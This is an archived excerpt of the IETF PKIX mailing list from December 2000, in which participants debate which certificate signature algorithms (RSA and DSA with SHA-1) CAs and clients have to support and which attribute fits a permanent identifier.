> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
> discussions, I suggest a possible way forward for son-of-rfc2459.
> 
> CAs MUST be able to sign certificates and CRLs with at least 
> one of the
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
> 
> CAs MAY sign certificates and CRLs with any additional 
> algorithms that they 
> wish.
> 
> Certificate users MUST be able to validate signatures on 
> certificates and
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
> 
> Certificate users MAY validate signatures on certificates and 
> CRLs with any 
> additional algorithms that they wish.
> 
> Russ
> 
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft 
> (draft-ietf-pkix-ipki-pkalgs-01.txt) 
> again,
> >I remembered that I did have one problem with the draft.  I 
> think that it 
> is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs 
> to have some
> >MUST style statements contained in it.  I propose adding the 
> following 
> text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2 
> RSA signatures
> >for validation but MUST NOT create new certificates using 
> this algorithm.
> >Implementations MAY support all other algorithms in this 
> document at their
> >discretion.
> >
> >jim schaad
> 


Received: from c013.sfo.cp.net (c013-h002.c013.sfo.cp.net [209.228.13.178]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA22286 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 12:42:42 -0800 (PST)
Received: (cpmta 14013 invoked from network); 21 Dec 2000 12:45:34 -0800
Date: 21 Dec 2000 12:45:34 -0800
Message-ID: <20001221204534.14012.cpmta@c013.sfo.cp.net>
X-Sent: 21 Dec 2000 20:45:34 GMT
Received: from [63.197.80.244] by mail.cp.net with HTTP; 21 Dec 2000 12:45:34 PST
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: jimsch@exmsft.com
From: Hemma Prafullchandra <hemma@criticalpath.net>
Cc: ambarish@valicert.com, housley@spyrus.com, ietf-pkix@imc.org
X-Mailer: Web Mail 3.9.0.9
Subject: RE: Required Algorithms for Certificates
X-Sent-From: hemma@cp.net

On Thu, 21 December 2000, "Jim Schaad" wrote:
> Ambarish,
> What was said is that both RSA and DSA are the MUST for clients.  I have no
> problems with this myself.
> 
> jim

I agree. For those who are on the leading edge of
implementation and support of IETF standards going
back on "MUSTs" is totally irrelevant in this case.
We already support DSA (as it was a MUST) and RSA
(as the market demanded it) and will continue to
support both.

Hemma




Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA21325 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 12:34:39 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id eBLKboP09017; Thu, 21 Dec 2000 12:37:50 -0800 (PST)
From: "Michael Myers" <myers@coastside.net>
To: "Al Arsenault" <aarsenault@dvnet.com>, <jimsch@exmsft.com>, <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 12:41:43 -0800
Message-ID: <MABBLIPCLMIBCAMBOADOKECLCAAA.myers@coastside.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <077001c06b8a$b82d76a0$7401a8c0@CC787228A>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

I agree with Al.  My vote is lock down RSA as a SHALL, DSA as a SHOULD and
others as a MAY.

Mike



-----Original Message-----
From: Al Arsenault [mailto:aarsenault@dvnet.com]
Sent: Thursday, December 21, 2000 12:15 PM
To: jimsch@exmsft.com; ietf-pkix@imc.org
Subject: Re: Required Algorithms for Certificates


OK, I get it now. The fact that the CA CAN sign with RSA doesn't mean that
it will, and of course the client can't tell the CA in advance "I'm gonna
need a cert with this signature algorithm, so be sure to use it."

That makes sense.  :-)

To be honest - I was thinking in terms of a registration scenario, where the
subject could tell the CA through some means that "I can only verify RSA, so
make sure you use that" and the CA could use whatever alg was requested.
That's what I get for not thinking about the more general case.

I'm still not happy with the client having to support multiple algorithms,
though, so I work with a number of clients that don't support multiple
algorithms and likely never will.  It might be easier then to only mandate
RSA, and let everything else be a SHOULD or MAY.

            Al Arsenault
            Chief Security Architect
            Diversinet Corp.


----- Original Message -----
From: Jim Schaad <jimsch5@home.com>
To: 'Al Arsenault' <aarsenault@dvnet.com>; <ietf-pkix@imc.org>
Sent: Thursday, December 21, 2000 2:55 PM
Subject: RE: Required Algorithms for Certificates


> OK Al,
>
> If we go with your proposal, your client validates RSA with SHA-1 and my
> CA
> generates DSA with SHA-1.  We are in the situtation of no interop.
>
> If we uses the rules stated in the posting by Russ, we always have
> interop.
>
> jim
>
> -----Original Message-----
> From: Al Arsenault [mailto:aarsenault@dvnet.com]
> Sent: Thursday, December 21, 2000 11:52 AM
> To: 'Russ Housley'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
>
>
> Russ, et alia,
>
> While I wasn't in San Diego and thus I'm not up to speed on
> those
> particular discussions, this proposal seems backward to me.  It seems to
> put the complexity (specifically, support for multiple algorithms) on
> the
> client, vice the server.  Generally, I prefer to see the complexity put
> on
> the server, and let the clients be simpler.  (This is in line with
> certain
> other standards bodies/industry fora, which mandate/recommend/whatever
> that
> CAs support all of RSA, DSA, and ECDSA, and let clients support
> whichever
> one they want.)
>
> So my recommendation would be that:
>
> CAs MUST be able to sign certificates and CRLs with all of the
> following:
>
> RSA with SHA-1, and
> DSA with SHA-1
>
> Certificate users MUST be able to validate signatures on
> certificates and
> CRLs with at least one of the following:
>
> RSA with SHA-1, or
> DSA with SHA-1.
>
> (This of course begs a number of questions, like: do CAs have to
> sign CRLs
> if they support OCSP instead; do certificate users have to be able to
> process CRLs if they instead rely on OCSP?, etc.)
>
> In response to Ambarish's posting, and to Bob Jeunemann's and
> others'
> earlier postings about whether DSA should really be a MUST since almost
> nobody uses it, my personal believe is that DSA should be a MUST just in
> case there are any backward compatibility issues that might come up.  If
> it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes
> less
> than a MUST, then of course the requirements above reduce to "CAs and
> clients MUST support RSA with SHA-1", with appropriate wording for DSA.
>
> Al Arsenault
> Chief Security Architect
> Diversinet Corp.
>
>
>
> -----Original Message-----
> From: Russ Housley [SMTP:housley@spyrus.com]
> Sent: Wednesday, December 20, 2000 12:06 PM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
>
> As everyone who was at the meeting in San Diego knows, this posting lead
> to
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
> discussions, I suggest a possible way forward for son-of-rfc2459.
>
> CAs MUST be able to sign certificates and CRLs with at least one of the
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
>
> CAs MAY sign certificates and CRLs with any additional algorithms that
> they
> wish.
>
> Certificate users MUST be able to validate signatures on certificates
> and
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
>
> Certificate users MAY validate signatures on certificates and CRLs with
> any
> additional algorithms that they wish.
>
> Russ
>
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt)
> again,
> >I remembered that I did have one problem with the draft.  I think that
> it
> is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs to have
> some
> >MUST style statements contained in it.  I propose adding the following
> text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2 RSA
> signatures
> >for validation but MUST NOT create new certificates using this
> algorithm.
> >Implementations MAY support all other algorithms in this document at
> their
> >discretion.
> >
> >jim schaad
>




Received: from dvnet8.dvnet.com ([209.121.31.8]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA19661 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 12:09:43 -0800 (PST)
Received: from CC787228A (cc787228-a.hwrd1.md.home.com [24.180.131.6]) by dvnet8.dvnet.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id Z20RTP1S; Thu, 21 Dec 2000 15:14:43 -0500
Message-ID: <077001c06b8a$b82d76a0$7401a8c0@CC787228A>
From: "Al Arsenault" <aarsenault@dvnet.com>
To: <jimsch@exmsft.com>, <ietf-pkix@imc.org>
References: <000101c06b87$fbaa68a0$1500a8c0@soaringhawk.net>
Subject: Re: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 15:15:10 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211

OK, I get it now. The fact that the CA CAN sign with RSA doesn't mean that
it will, and of course the client can't tell the CA in advance "I'm gonna
need a cert with this signature algorithm, so be sure to use it."

That makes sense.  :-)

To be honest - I was thinking in terms of a registration scenario, where the
subject could tell the CA through some means that "I can only verify RSA, so
make sure you use that" and the CA could use whatever alg was requested.
That's what I get for not thinking about the more general case.

I'm still not happy with the client having to support multiple algorithms,
though, so I work with a number of clients that don't support multiple
algorithms and likely never will.  It might be easier then to only mandate
RSA, and let everything else be a SHOULD or MAY.

            Al Arsenault
            Chief Security Architect
            Diversinet Corp.


----- Original Message -----
From: Jim Schaad <jimsch5@home.com>
To: 'Al Arsenault' <aarsenault@dvnet.com>; <ietf-pkix@imc.org>
Sent: Thursday, December 21, 2000 2:55 PM
Subject: RE: Required Algorithms for Certificates


> OK Al,
>
> If we go with your proposal, your client validates RSA with SHA-1 and my
> CA
> generates DSA with SHA-1.  We are in the situtation of no interop.
>
> If we uses the rules stated in the posting by Russ, we always have
> interop.
>
> jim
>
> -----Original Message-----
> From: Al Arsenault [mailto:aarsenault@dvnet.com]
> Sent: Thursday, December 21, 2000 11:52 AM
> To: 'Russ Housley'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
>
>
> Russ, et alia,
>
> While I wasn't in San Diego and thus I'm not up to speed on
> those
> particular discussions, this proposal seems backward to me.  It seems to
> put the complexity (specifically, support for multiple algorithms) on
> the
> client, vice the server.  Generally, I prefer to see the complexity put
> on
> the server, and let the clients be simpler.  (This is in line with
> certain
> other standards bodies/industry fora, which mandate/recommend/whatever
> that
> CAs support all of RSA, DSA, and ECDSA, and let clients support
> whichever
> one they want.)
>
> So my recommendation would be that:
>
> CAs MUST be able to sign certificates and CRLs with all of the
> following:
>
> RSA with SHA-1, and
> DSA with SHA-1
>
> Certificate users MUST be able to validate signatures on
> certificates and
> CRLs with at least one of the following:
>
> RSA with SHA-1, or
> DSA with SHA-1.
>
> (This of course begs a number of questions, like: do CAs have to
> sign CRLs
> if they support OCSP instead; do certificate users have to be able to
> process CRLs if they instead rely on OCSP?, etc.)
>
> In response to Ambarish's posting, and to Bob Jeunemann's and
> others'
> earlier postings about whether DSA should really be a MUST since almost
> nobody uses it, my personal believe is that DSA should be a MUST just in
> case there are any backward compatibility issues that might come up.  If
> it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes
> less
> than a MUST, then of course the requirements above reduce to "CAs and
> clients MUST support RSA with SHA-1", with appropriate wording for DSA.
>
> Al Arsenault
> Chief Security Architect
> Diversinet Corp.
>
>
>
> -----Original Message-----
> From: Russ Housley [SMTP:housley@spyrus.com]
> Sent: Wednesday, December 20, 2000 12:06 PM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
>
> As everyone who was at the meeting in San Diego knows, this posting lead
> to
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
> discussions, I suggest a possible way forward for son-of-rfc2459.
>
> CAs MUST be able to sign certificates and CRLs with at least one of the
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
>
> CAs MAY sign certificates and CRLs with any additional algorithms that
> they
> wish.
>
> Certificate users MUST be able to validate signatures on certificates
> and
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
>
> Certificate users MAY validate signatures on certificates and CRLs with
> any
> additional algorithms that they wish.
>
> Russ
>
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt)
> again,
> >I remembered that I did have one problem with the draft.  I think that
> it
> is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs to have
> some
> >MUST style statements contained in it.  I propose adding the following
> text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2 RSA
> signatures
> >for validation but MUST NOT create new certificates using this
> algorithm.
> >Implementations MAY support all other algorithms in this document at
> their
> >discretion.
> >
> >jim schaad
>



Received: from mail.rdc1.wa.home.com (imail@ha1.rdc1.wa.home.com [24.0.2.66]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA19183 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:53:24 -0800 (PST)
Received: from revelation ([65.4.166.11]) by mail.rdc1.wa.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001221195647.FRSE4566.mail.rdc1.wa.home.com@revelation>; Thu, 21 Dec 2000 11:56:47 -0800
Reply-To: <jimsch@exmsft.com>
From: "Jim Schaad" <jimsch5@home.com>
To: "'Al Arsenault'" <aarsenault@dvnet.com>, <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 11:55:33 -0800
Message-ID: <000101c06b87$fbaa68a0$1500a8c0@soaringhawk.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <01C06B5D.A1859270.aarsenault@dvnet.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

OK Al,

If we go with your proposal, your client validates RSA with SHA-1 and my CA
generates DSA with SHA-1.  We are in the situtation of no interop.

If we uses the rules stated in the posting by Russ, we always have interop.

jim

-----Original Message-----
From: Al Arsenault [mailto:aarsenault@dvnet.com]
Sent: Thursday, December 21, 2000 11:52 AM
To: 'Russ Housley'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates


Russ, et alia,

	While I wasn't in San Diego and thus I'm not up to speed on those
particular discussions, this proposal seems backward to me.  It seems to
put the complexity (specifically, support for multiple algorithms) on the
client, vice the server.  Generally, I prefer to see the complexity put on
the server, and let the clients be simpler.  (This is in line with certain
other standards bodies/industry fora, which mandate/recommend/whatever that
CAs support all of RSA, DSA, and ECDSA, and let clients support whichever
one they want.)

	So my recommendation would be that:

	CAs MUST be able to sign certificates and CRLs with all of the following:

		RSA with SHA-1, and
		DSA with SHA-1

	Certificate users MUST be able to validate signatures on certificates and
CRLs with at least one of the following:

		RSA with SHA-1, or
		DSA with SHA-1.

	(This of course begs a number of questions, like: do CAs have to sign CRLs
if they support OCSP instead; do certificate users have to be able to
process CRLs if they instead rely on OCSP?, etc.)

	In response to Ambarish's posting, and to Bob Jeunemann's and others'
earlier postings about whether DSA should really be a MUST since almost
nobody uses it, my personal believe is that DSA should be a MUST just in
case there are any backward compatibility issues that might come up.  If
it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes less
than a MUST, then of course the requirements above reduce to "CAs and
clients MUST support RSA with SHA-1", with appropriate wording for DSA.

			Al Arsenault
			Chief Security Architect
			Diversinet Corp.



-----Original Message-----
From:	Russ Housley [SMTP:housley@spyrus.com]
Sent:	Wednesday, December 20, 2000 12:06 PM
To:	ietf-pkix@imc.org
Subject:	Re: Required Algorithms for Certificates

As everyone who was at the meeting in San Diego knows, this posting lead to
a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
discussions, I suggest a possible way forward for son-of-rfc2459.

CAs MUST be able to sign certificates and CRLs with at least one of the
following:
         - DSA with SHA-1, or
         - RSA with SHA-1.

CAs MAY sign certificates and CRLs with any additional algorithms that they
wish.

Certificate users MUST be able to validate signatures on certificates and
CRLs with all of the following:
         - DSA with SHA-1, and
         - RSA with SHA-1.

Certificate users MAY validate signatures on certificates and CRLs with any
additional algorithms that they wish.

Russ

At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
>In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt)
again,
>I remembered that I did have one problem with the draft.  I think that it
is
>fine that the certificate structure draft does not contain algorithm
>information.  However I feel that the algorithms draft needs to have some
>MUST style statements contained in it.  I propose adding the following
text:
>
>To fully comply with this document, implementations MUST support DSA
>Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
>for validation but MUST NOT create new certificates using this algorithm.
>Implementations MAY support all other algorithms in this document at their
>discretion.
>
>jim schaad




Received: from femail7.sdc1.sfba.home.com (femail7.sdc1.sfba.home.com [24.0.95.87]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA18608 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:46:23 -0800 (PST)
Received: from CC787228-A ([24.180.131.6]) by femail7.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001221194945.RYTX16755.femail7.sdc1.sfba.home.com@CC787228-A>; Thu, 21 Dec 2000 11:49:45 -0800
Received: by localhost with Microsoft MAPI; Thu, 21 Dec 2000 14:52:25 -0500
Message-ID: <01C06B5D.A1859270.aarsenault@dvnet.com>
From: Al Arsenault <aarsenault@dvnet.com>
To: "'Russ Housley'" <housley@spyrus.com>, "ietf-pkix@imc.org" <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 14:52:23 -0500
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
Encoding: 87 TEXT

Russ, et alia,

	While I wasn't in San Diego and thus I'm not up to speed on those 
particular discussions, this proposal seems backward to me.  It seems to 
put the complexity (specifically, support for multiple algorithms) on the 
client, vice the server.  Generally, I prefer to see the complexity put on 
the server, and let the clients be simpler.  (This is in line with certain 
other standards bodies/industry fora, which mandate/recommend/whatever that 
CAs support all of RSA, DSA, and ECDSA, and let clients support whichever 
one they want.)

	So my recommendation would be that:

	CAs MUST be able to sign certificates and CRLs with all of the following:

		RSA with SHA-1, and
		DSA with SHA-1

	Certificate users MUST be able to validate signatures on certificates and 
CRLs with at least one of the following:

		RSA with SHA-1, or
		DSA with SHA-1.

	(This of course begs a number of questions, like: do CAs have to sign CRLs 
if they support OCSP instead; do certificate users have to be able to 
process CRLs if they instead rely on OCSP?, etc.)

	In response to Ambarish's posting, and to Bob Jeunemann's and others' 
earlier postings about whether DSA should really be a MUST since almost 
nobody uses it, my personal believe is that DSA should be a MUST just in 
case there are any backward compatibility issues that might come up.  If 
it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes less 
than a MUST, then of course the requirements above reduce to "CAs and 
clients MUST support RSA with SHA-1", with appropriate wording for DSA.

			Al Arsenault
			Chief Security Architect
			Diversinet Corp.



-----Original Message-----
From:	Russ Housley [SMTP:housley@spyrus.com]
Sent:	Wednesday, December 20, 2000 12:06 PM
To:	ietf-pkix@imc.org
Subject:	Re: Required Algorithms for Certificates

As everyone who was at the meeting in San Diego knows, this posting lead to 
a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
discussions, I suggest a possible way forward for son-of-rfc2459.

CAs MUST be able to sign certificates and CRLs with at least one of the
following:
         - DSA with SHA-1, or
         - RSA with SHA-1.

CAs MAY sign certificates and CRLs with any additional algorithms that they 
wish.

Certificate users MUST be able to validate signatures on certificates and
CRLs with all of the following:
         - DSA with SHA-1, and
         - RSA with SHA-1.

Certificate users MAY validate signatures on certificates and CRLs with any 
additional algorithms that they wish.

Russ

At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
>In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt) 
again,
>I remembered that I did have one problem with the draft.  I think that it 
is
>fine that the certificate structure draft does not contain algorithm
>information.  However I feel that the algorithms draft needs to have some
>MUST style statements contained in it.  I propose adding the following 
text:
>
>To fully comply with this document, implementations MUST support DSA
>Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
>for validation but MUST NOT create new certificates using this algorithm.
>Implementations MAY support all other algorithms in this document at their
>discretion.
>
>jim schaad



Received: from mail.rdc1.wa.home.com (imail@ha1.rdc1.wa.home.com [24.0.2.66]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA17834 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:39:40 -0800 (PST)
Received: from revelation ([65.4.166.11]) by mail.rdc1.wa.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001221194303.FREV4566.mail.rdc1.wa.home.com@revelation>; Thu, 21 Dec 2000 11:43:03 -0800
Reply-To: <jimsch@exmsft.com>
From: "Jim Schaad" <jimsch5@home.com>
To: "'Ambarish Malpani'" <ambarish@valicert.com>, "'Russ Housley'" <housley@spyrus.com>, <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 11:41:50 -0800
Message-ID: <000001c06b86$10bd1230$1500a8c0@soaringhawk.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <613B3C619C9AD4118C4E00B0D03E7C3E6EBCE8@exchange.valicert.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Russ's posting takes care of the problem that I had with not MUST.

Ambarish,
What was said is that both RSA and DSA are the MUST for clients.  I have no
problems with this myself.

jim

-----Original Message-----
From: Ambarish Malpani [mailto:ambarish@valicert.com]
Sent: Thursday, December 21, 2000 10:12 AM
To: 'Russ Housley'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates



Hi Russ,
    Shouldn't RSA be the MUST.

What SAAG didn't conclude on was whether DSA should also be a MUST.
While I don't have a strong opinion on that, I think DSA should
just be a MAY, so that CAs who have clients who demand DSA can
implement it, while those who don't, don't need to, just to be
compliant.

The way you posted the mail, it should like neither DSA nor RSA are
a must, but (DSA or RSA) is a MUST.


A

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  ambarish@valicert.com
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Russ Housley [mailto:housley@spyrus.com]
> Sent: Wednesday, December 20, 2000 9:06 AM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
>
>
> As everyone who was at the meeting in San Diego knows, this
> posting lead to
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based
> on those
> discussions, I suggest a possible way forward for son-of-rfc2459.
>
> CAs MUST be able to sign certificates and CRLs with at least
> one of the
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
>
> CAs MAY sign certificates and CRLs with any additional
> algorithms that they
> wish.
>
> Certificate users MUST be able to validate signatures on
> certificates and
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
>
> Certificate users MAY validate signatures on certificates and
> CRLs with any
> additional algorithms that they wish.
>
> Russ
>
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft
> (draft-ietf-pkix-ipki-pkalgs-01.txt) again,
> >I remembered that I did have one problem with the draft.  I
> think that it is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs
> to have some
> >MUST style statements contained in it.  I propose adding the
> following text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2
> RSA signatures
> >for validation but MUST NOT create new certificates using
> this algorithm.
> >Implementations MAY support all other algorithms in this
> document at their
> >discretion.
> >
> >jim schaad
>



Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA17362 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:36:02 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e3.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA84398; Thu, 21 Dec 2000 14:38:29 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171]) by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id OAA112796; Thu, 21 Dec 2000 14:37:04 -0500
Importance: Normal
Subject: Re: Permanet identifier assignement
To: <juancarlos.perez@acepta.com>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>, "Denis. Pinkas" <Denis.Pinkas@bull.net>
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF54656813.BEA51127-ON852569BC.006B73E5@somers.hqregion.ibm.com>
From: "Tom Gindin" <tgindin@us.ibm.com>
Date: Thu, 21 Dec 2000 14:39:02 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Build V506_11152000 |November 15, 2000) at 12/21/2000 02:39:15 PM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id LAA17363

     There was a lengthy discussion last year on which attribute to use in
such cases, involving many messages.  The decision made was to prefer the
use of X.520's serialNumber attribute over DNQualifier or any possible new
attribute for this purpose (DNQualifier was the only standard attribute
frequently suggested as a possible alternative).  The message recording the
decision was http://www.imc.org/ietf-pkix/old-archive-99/msg03140.html.

          Tom Gindin

Juan Carlos Pérez Aguayo <juancarlos.perez@acepta.com> on 12/21/2000
03:02:40 PM

Please respond to <juancarlos.perez@acepta.com>

To:   "Ietf-Pkix" <ietf-pkix@imc.org>
cc:   "Denis. Pinkas" <Denis.Pinkas@bull.net>, Tom Gindin/Watson/IBM@IBMUS
Subject:  Permanet identifier assignement



Is the id-at-dnQualifier attribute a suitable assignement for a single name
used for PI?

By example, think that a subject has a unique identifier like this :
"12523912-9" (my own :) ):

  Subject:
     C=CL, O=My org, OU = My unit, CN= Jhon Davis

  PI:

     assignerAuthority:i.e OID for authority in the domain
     identifier:
        OID.2.5.4.46 = '12523912-9'


regards

Juan Carlos


> -----Mensaje original-----
> De: Juan Carlos Pérez Aguayo [mailto:juancarlos.perez@acepta.com]
> Enviado el: Miércoles, 20 de Diciembre de 2000 17:38
> Para: Denis. Pinkas
> Asunto: Permanet identifier syntax
>
>
> From the the PI draft:
>
>    PermanentIdentifier ::=     SEQUENCE {
>            assignerAuthority        GeneralName OPTIONAL,
>            identifier               Name
>    }
>
>
> I my country, we have national unique identifiers like
> "12523912-9" (my own identifier) a PrintableString.
>
> Which is the RDN suitable for using for it identifier? Into
> CN,SerialNumber, GivenName...?
>
> Why need a RDN into identifier and not a single attribute?
>
> Regards
>
> Juan Carlos
>






Received: from localhost.localdomain ([206.48.156.90]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA14734 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:00:40 -0800 (PST)
Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id QAA26861; Thu, 21 Dec 2000 16:01:21 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
Cc: "Denis. Pinkas" <Denis.Pinkas@bull.net>, "Tom Gindin" <tgindin@us.ibm.com>
Subject:  Permanet identifier assignement
Date: Thu, 21 Dec 2000 16:02:40 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIEEGCCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Is the id-at-dnQualifier attribute a suitable assignement for a single name
used for PI?

By example, think that a subject has a unique identifier like this :
"12523912-9" (my own :) ):

  Subject:
     C=CL, O=My org, OU = My unit, CN= Jhon Davis

  PI:

     assignerAuthority:i.e OID for authority in the domain
     identifier:
        OID.2.5.4.46 = '12523912-9'


regards

Juan Carlos


> -----Mensaje original-----
> De: Juan Carlos Pérez Aguayo [mailto:juancarlos.perez@acepta.com]
> Enviado el: Miércoles, 20 de Diciembre de 2000 17:38
> Para: Denis. Pinkas
> Asunto: Permanet identifier syntax
>
>
> From the the PI draft:
>
>    PermanentIdentifier ::=     SEQUENCE {
>            assignerAuthority        GeneralName OPTIONAL,
>            identifier               Name
>    }
>
>
> I my country, we have national unique identifiers like
> "12523912-9" (my own identifier) a PrintableString.
>
> Which is the RDN suitable for using for it identifier? Into
> CN,SerialNumber, GivenName...?
>
> Why need a RDN into identifier and not a single attribute?
>
> Regards
>
> Juan Carlos
>



